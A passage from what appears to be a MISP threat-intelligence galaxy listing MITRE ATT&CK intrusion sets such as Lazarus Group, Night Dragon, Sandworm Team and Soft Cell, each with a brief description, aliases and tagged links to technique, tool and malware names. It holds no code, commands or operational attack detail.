similar: misp-galaxy:threat-actor="Shell Crew" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Hurricane Panda" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Codoso" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1117" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Ping - S0097" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Sakula - S0074" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1066" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Tasklist - S0057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="StreamEx - S0142" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1015" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Mivast - S0080" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Derusbi - S0021" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1100" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1143" with estimative-language:likelihood-probability="almost-certain"
Dust Storm - G0031
[Dust Storm](https://attack.mitre.org/groups/G0031) is a threat group that has targeted multiple industries in Japan, South Korea, the United States, Europe, and several Southeast Asian countries. (Citation: Cylance Dust Storm)
The tag is: misp-galaxy:mitre-intrusion-set="Dust Storm - G0031"
Dust Storm - G0031 is also known as:
-
Dust Storm
Dust Storm - G0031 has relationships with:
-
similar: misp-galaxy:threat-actor="Dust Storm" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-malware="S-Type - S0085" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Misdat - S0083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="ZLib - S0086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Mis-Type - S0084" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf |
Night Dragon - G0014
[Night Dragon](https://attack.mitre.org/groups/G0014) is a campaign name for activity involving a threat group that has conducted activity originating primarily in China. (Citation: McAfee Night Dragon)
The tag is: misp-galaxy:mitre-intrusion-set="Night Dragon - G0014"
Night Dragon - G0014 is also known as:
-
Night Dragon
Night Dragon - G0014 has relationships with:
-
similar: misp-galaxy:threat-actor="Night Dragon" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-tool="gsecdump - S0008" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="zwShell - S0350" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="ASPXSpy - S0073" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="at - S0110" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1075" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote Access Tools - T1219" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Acquire and/or use 3rd party infrastructure services - T1307" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Acquire and/or use 3rd party software services - T1330" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote access tool development - T1351" with estimative-language:likelihood-probability="almost-certain"
Links |
Tropic Trooper - G0081
[Tropic Trooper](https://attack.mitre.org/groups/G0081) is an unaffiliated threat group that has led targeted campaigns against targets in Taiwan, the Philippines, and Hong Kong. [Tropic Trooper](https://attack.mitre.org/groups/G0081) focuses on targeting government, healthcare, transportation, and high-tech industries and has been active since 2011.(Citation: TrendMicro Tropic Trooper Mar 2018)(Citation: Unit 42 Tropic Trooper Nov 2016)
The tag is: misp-galaxy:mitre-intrusion-set="Tropic Trooper - G0081"
Tropic Trooper - G0081 is also known as:
-
Tropic Trooper
-
KeyBoy
Tropic Trooper - G0081 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1158" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1004" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Template Injection - T1221" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="KeyBoy - S0387" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Yahoyah - S0388" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="BITSAdmin - S0190" with estimative-language:likelihood-probability="almost-certain"
Links |
https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/ |
Lazarus Group - G0032
[Lazarus Group](https://attack.mitre.org/groups/G0032) is a threat group that has been attributed to the North Korean government.(Citation: US-CERT HIDDEN COBRA June 2017) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novetta Blockbuster) In late 2017, [Lazarus Group](https://attack.mitre.org/groups/G0032) used KillDisk, a disk-wiping tool, in an attack against an online casino based in Central America. (Citation: Lazarus KillDisk)
North Korean group definitions are known to have significant overlap, and the name [Lazarus Group](https://attack.mitre.org/groups/G0032) is known to encompass a broad range of activity. Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea.(Citation: US-CERT HIDDEN COBRA June 2017) Some organizations track North Korean clusters or groups such as Bluenoroff,(Citation: Kaspersky Lazarus Under The Hood Blog 2017) [APT37](https://attack.mitre.org/groups/G0067), and [APT38](https://attack.mitre.org/groups/G0082) separately, while other organizations may track some activity associated with those group names by the name Lazarus Group.
The tag is: misp-galaxy:mitre-intrusion-set="Lazarus Group - G0032"
Lazarus Group - G0032 is also known as:
-
Lazarus Group
-
HIDDEN COBRA
-
Guardians of Peace
-
ZINC
-
NICKEL ACADEMY
Lazarus Group - G0032 has relationships with:
-
similar: misp-galaxy:threat-actor="Lazarus Group" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="COVELLITE" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Proxysvc - S0238" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1158" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1223" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Bootkit - T1067" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="KEYMARBLE - S0271" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Volgmer - S0180" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1099" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="netsh - S0108" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="BADCALL - S0245" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="RATANKBA - S0241" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Bankshot - S0239" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="HARDRAIN - S0246" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="TYPEFRAME - S0263" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="AuditCred - S0347" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="FALLCHILL - S0181" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Multiband Communication - T1026" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Disk Structure Wipe - T1487" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Disk Content Wipe - T1488" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="WannaCry - S0366" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="RawDisk - S0364" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Resource Hijacking - T1496" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="HOPLIGHT - S0376" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Shutdown/Reboot - T1529" with estimative-language:likelihood-probability="almost-certain"
Putter Panda - G0024
[Putter Panda](https://attack.mitre.org/groups/G0024) is a Chinese threat group that has been attributed to Unit 61486 of the 12th Bureau of the PLA’s 3rd General Staff Department (GSD). (Citation: CrowdStrike Putter Panda)
The tag is: misp-galaxy:mitre-intrusion-set="Putter Panda - G0024"
Putter Panda - G0024 is also known as:
-
Putter Panda
-
APT2
-
MSUpdater
Putter Panda - G0024 has relationships with:
-
similar: misp-galaxy:threat-actor="Putter Panda" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-malware="httpclient - S0068" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="4H RAT - S0065" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="pngdowner - S0067" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="3PARA RAT - S0066" with estimative-language:likelihood-probability="almost-certain"
Links |
http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf |
Scarlet Mimic - G0029
[Scarlet Mimic](https://attack.mitre.org/groups/G0029) is a threat group that has targeted minority rights activists. This group has not been directly linked to a government source, but the group’s motivations appear to overlap with those of the Chinese government. While there is some overlap between IP addresses used by [Scarlet Mimic](https://attack.mitre.org/groups/G0029) and [Putter Panda](https://attack.mitre.org/groups/G0024), it has not been concluded that the groups are the same. (Citation: Scarlet Mimic Jan 2016)
The tag is: misp-galaxy:mitre-intrusion-set="Scarlet Mimic - G0029"
Scarlet Mimic - G0029 is also known as:
-
Scarlet Mimic
Scarlet Mimic - G0029 has relationships with:
-
similar: misp-galaxy:threat-actor="Scarlet Mimic" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-malware="Psylo - S0078" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="CallMe - S0077" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="FakeM - S0076" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="MobileOrder - S0079" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
Links |
Poseidon Group - G0033
[Poseidon Group](https://attack.mitre.org/groups/G0033) is a Portuguese-speaking threat group that has been active since at least 2005. The group has a history of using information exfiltrated from victims to blackmail victim companies into contracting the [Poseidon Group](https://attack.mitre.org/groups/G0033) as a security firm. (Citation: Kaspersky Poseidon Group)
The tag is: misp-galaxy:mitre-intrusion-set="Poseidon Group - G0033"
Poseidon Group - G0033 is also known as:
-
Poseidon Group
Poseidon Group - G0033 has relationships with:
-
similar: misp-galaxy:threat-actor="Poseidon Group" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
Links |
Sandworm Team - G0034
[Sandworm Team](https://attack.mitre.org/groups/G0034) is a Russian cyber espionage group that has operated since approximately 2009. The group likely consists of Russian pro-hacktivists. [Sandworm Team](https://attack.mitre.org/groups/G0034) targets mainly Ukrainian entities associated with energy, industrial control systems, SCADA, government, and media. [Sandworm Team](https://attack.mitre.org/groups/G0034) has been linked to the Ukrainian energy sector attack in late 2015. (Citation: iSIGHT Sandworm 2014) (Citation: CrowdStrike VOODOO BEAR)
The tag is: misp-galaxy:mitre-intrusion-set="Sandworm Team - G0034"
Sandworm Team - G0034 is also known as:
-
Sandworm Team
-
Quedagh
-
VOODOO BEAR
Sandworm Team - G0034 has relationships with:
-
similar: misp-galaxy:threat-actor="Sandworm" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="TeleBots" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="ELECTRUM" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-malware="BlackEnergy - S0089" with estimative-language:likelihood-probability="almost-certain"
Stealth Falcon - G0038
[Stealth Falcon](https://attack.mitre.org/groups/G0038) is a threat group that has conducted targeted spyware attacks against Emirati journalists, activists, and dissidents since at least 2012. Circumstantial evidence suggests there could be a link between this group and the United Arab Emirates (UAE) government, but that has not been confirmed. (Citation: Citizen Lab Stealth Falcon May 2016)
The tag is: misp-galaxy:mitre-intrusion-set="Stealth Falcon - G0038"
Stealth Falcon - G0038 is also known as:
-
Stealth Falcon
Stealth Falcon - G0038 has relationships with:
-
similar: misp-galaxy:threat-actor="Stealth Falcon" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
Links |
Soft Cell - G0093
Operation [Soft Cell](https://attack.mitre.org/groups/G0093) is a group that is reportedly affiliated with China and is likely state-sponsored. The group has operated since at least 2012 and has compromised high-profile telecommunications networks.(Citation: Cybereason Soft Cell June 2019)
The tag is: misp-galaxy:mitre-intrusion-set="Soft Cell - G0093"
Soft Cell - G0093 is also known as:
-
Soft Cell
Soft Cell - G0093 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1100" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1214" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Reg - S0075" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="China Chopper - S0020" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Ping - S0097" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="HTRAN - S0040" with estimative-language:likelihood-probability="almost-certain"
-
